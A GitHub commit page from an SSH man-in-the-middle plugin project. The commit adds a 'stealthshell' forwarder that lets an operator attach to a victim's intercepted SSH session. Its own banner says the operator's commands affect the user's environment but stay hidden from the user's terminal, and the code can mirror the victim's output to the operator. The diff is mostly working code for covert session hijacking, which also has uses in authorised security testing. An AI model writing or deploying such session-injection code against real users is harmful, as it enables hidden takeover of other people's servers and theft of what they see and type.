Skip to content

Commit 8ba4908

Browse files
committed
Added Credit; Added injectorshell
1 parent e79eac9 commit 8ba4908

File tree

3 files changed

+165
-2
lines changed

3 files changed

+165
-2
lines changed

ssh_mitm_plugins/__entrypoints__.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
entry_points = {
22
'SSHBaseForwarder': [
33
'scriptedshell = ssh_mitm_plugins.ssh.scriptedshell:SSHScriptedForwarder',
4+
'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHInjectableForwarder'
45
],
56
'SCPBaseForwarder': [
67

Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
import logging
2+
import queue
3+
import select
4+
import threading
5+
import socket
6+
import time
7+
8+
import paramiko
9+
10+
from ssh_proxy_server.forwarders.ssh import SSHForwarder
11+
from ssh_proxy_server.plugins.ssh.mirrorshell import InjectServer
12+
13+
14+
class SSHInjectableForwarder(SSHForwarder):
15+
# TODO: complete stealth
16+
17+
HOST_KEY_LENGTH = 2048
18+
19+
@classmethod
20+
def parser_arguments(cls):
21+
cls.PARSER.add_argument(
22+
'--ssh-injector-net',
23+
dest='ssh_injector_net',
24+
default='127.0.0.1',
25+
help='local address/interface where injector sessions are served'
26+
)
27+
cls.PARSER.add_argument(
28+
'--ssh-injector-enable-mirror',
29+
dest='ssh_injector_enable_mirror',
30+
action="store_true",
31+
help='disables host session mirroring for the injector shell'
32+
)
33+
cls.PARSER.add_argument(
34+
'--ssh-injectshell-key',
35+
dest='ssh_injectshell_key'
36+
)
37+
38+
def __init__(self, session):
39+
super(SSHInjectableForwarder, self).__init__(session)
40+
self.injector_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
41+
self.injector_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
42+
self.injector_sock.bind((self.args.ssh_injector_net, 0))
43+
self.injector_sock.listen(5)
44+
45+
self.mirror_enabled = self.args.ssh_injector_enable_mirror
46+
self.queue = queue.Queue()
47+
self.sender = self.session.ssh_channel
48+
self.injector_shells = []
49+
thread = threading.Thread(target=self.injector_connect)
50+
thread.start()
51+
self.conn_thread = thread
52+
53+
def injector_connect(self):
54+
inject_host, inject_port = self.injector_sock.getsockname()
55+
logging.info(
56+
"created injector shell on port {port}. connect with: ssh -p {port} {host}".format(
57+
host=inject_host,
58+
port=inject_port
59+
)
60+
)
61+
try:
62+
while not self.session.ssh_channel.closed:
63+
readable = select.select([self.injector_sock], [], [], 0.5)[0]
64+
if len(readable) == 1 and readable[0] is self.injector_sock:
65+
client, addr = self.injector_sock.accept()
66+
67+
t = paramiko.Transport(client)
68+
t.set_gss_host(socket.getfqdn(""))
69+
70+
t.load_server_moduli()
71+
if self.args.ssh_injectshell_key:
72+
t.add_server_key(paramiko.RSAKey(filename=self.args.ssh_injectshell_key))
73+
else:
74+
t.add_server_key(paramiko.RSAKey.generate(bits=self.HOST_KEY_LENGTH))
75+
76+
inject_server = InjectServer(self.server_channel)
77+
try:
78+
t.start_server(server=inject_server)
79+
except (ConnectionResetError, EOFError, paramiko.SSHException):
80+
t.close()
81+
continue
82+
injector_channel = None
83+
while not injector_channel:
84+
injector_channel = t.accept(0.5)
85+
injector_shell = InjectorShell(addr, injector_channel, self)
86+
injector_shell.start()
87+
self.injector_shells.append(injector_shell)
88+
time.sleep(0.1)
89+
except (paramiko.SSHException, OSError) as e:
90+
logging.warning("injector connection suffered an unexpected error")
91+
logging.exception(e)
92+
self.close_session(self.channel)
93+
94+
def forward_stdin(self):
95+
# MTODO: maybe add host priority (priority queue); silent mode with client blocking input from injectors
96+
if self.session.ssh_channel.recv_ready():
97+
buf = self.session.ssh_channel.recv(self.BUF_LEN)
98+
self.queue.put((buf, self.session.ssh_channel))
99+
100+
def forward_stdout(self):
101+
if self.server_channel.recv_ready():
102+
buf = self.server_channel.recv(self.BUF_LEN)
103+
self.sender.sendall(buf)
104+
if self.mirror_enabled and self.sender == self.session.ssh_channel:
105+
for shell in self.injector_shells:
106+
if shell.client_channel is not self.sender:
107+
shell.client_channel.sendall(buf)
108+
109+
def forward_extra(self):
110+
if not self.server_channel.recv_ready() and not self.session.ssh_channel.recv_ready() and not self.queue.empty():
111+
msg, sender = self.queue.get()
112+
self.server_channel.sendall(msg)
113+
self.sender = sender
114+
self.queue.task_done()
115+
116+
def close_session(self, channel):
117+
super().close_session(channel)
118+
for shell in self.injector_shells:
119+
shell.join()
120+
self.conn_thread.join()
121+
self.injector_sock.close()
122+
123+
124+
class InjectorShell(threading.Thread):
125+
126+
BUF_LEN = 1024
127+
STEALTH_WARNING = """
128+
[NOTE]\r\n
129+
This is a hidden shell injected into the secure session the originally host created.\r\n
130+
Any commands issued CAN affect the environment of the user BUT will not be displayed on their terminal!\r\n
131+
Exit the hidden shell with CTRL+C
132+
"""
133+
134+
def __init__(self, remote, client_channel, forwarder):
135+
super(InjectorShell, self).__init__()
136+
self.remote = remote
137+
self.forwarder = forwarder
138+
self.queue = self.forwarder.queue
139+
self.client_channel = client_channel
140+
141+
def run(self) -> None:
142+
self.client_channel.sendall(self.STEALTH_WARNING)
143+
try:
144+
while not self.forwarder.session.ssh_channel.closed:
145+
if self.client_channel.recv_ready():
146+
data = self.client_channel.recv(self.forwarder.BUF_LEN)
147+
if data == b'\x03':
148+
break
149+
self.queue.put((data, self.client_channel))
150+
if self.client_channel.exit_status_ready():
151+
break
152+
time.sleep(0.1)
153+
except paramiko.SSHException:
154+
logging.warning("injector shell %s with unexpected SSHError", str(self.remote))
155+
finally:
156+
self.terminate()
157+
158+
def terminate(self):
159+
if not self.forwarder.session.ssh_channel.closed:
160+
self.forwarder.injector_shells.remove(self)
161+
self.client_channel.get_transport().close()

ssh_mitm_plugins/ssh/scriptedshell.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ def forward_stdin(self):
3737
self.executing = False
3838
self.script.close()
3939
self.output.close()
40-
# Resets Shell prompt for user (OpenSSH Server Last Login is omitted)
40+
# Resets Shell prompt for user (OpenSSH server's "Last Login" message is omitted)
4141
self.server_channel.sendall(b'\n')
4242
elif line != "":
4343
self.server_channel.sendall(line)
@@ -48,6 +48,7 @@ def forward_stdin(self):
4848
super(SSHScriptedForwarder, self).forward_stdin()
4949

5050
def stdout(self, text):
51+
# https://stackoverflow.com/a/38662876
5152
def escape_ansi(line):
5253
ansi_escape = re.compile(r'(?:\x1B[@-_]|[\x80-\x9F])[0-?]*[ -/]*[@-~]')
5354
return ansi_escape.sub('', line)
@@ -57,4 +58,4 @@ def escape_ansi(line):
5758
return text
5859

5960
def close_session(self, channel):
60-
super().close_session(channel)
61+
super().close_session(channel)

0 commit comments

Comments
 (0)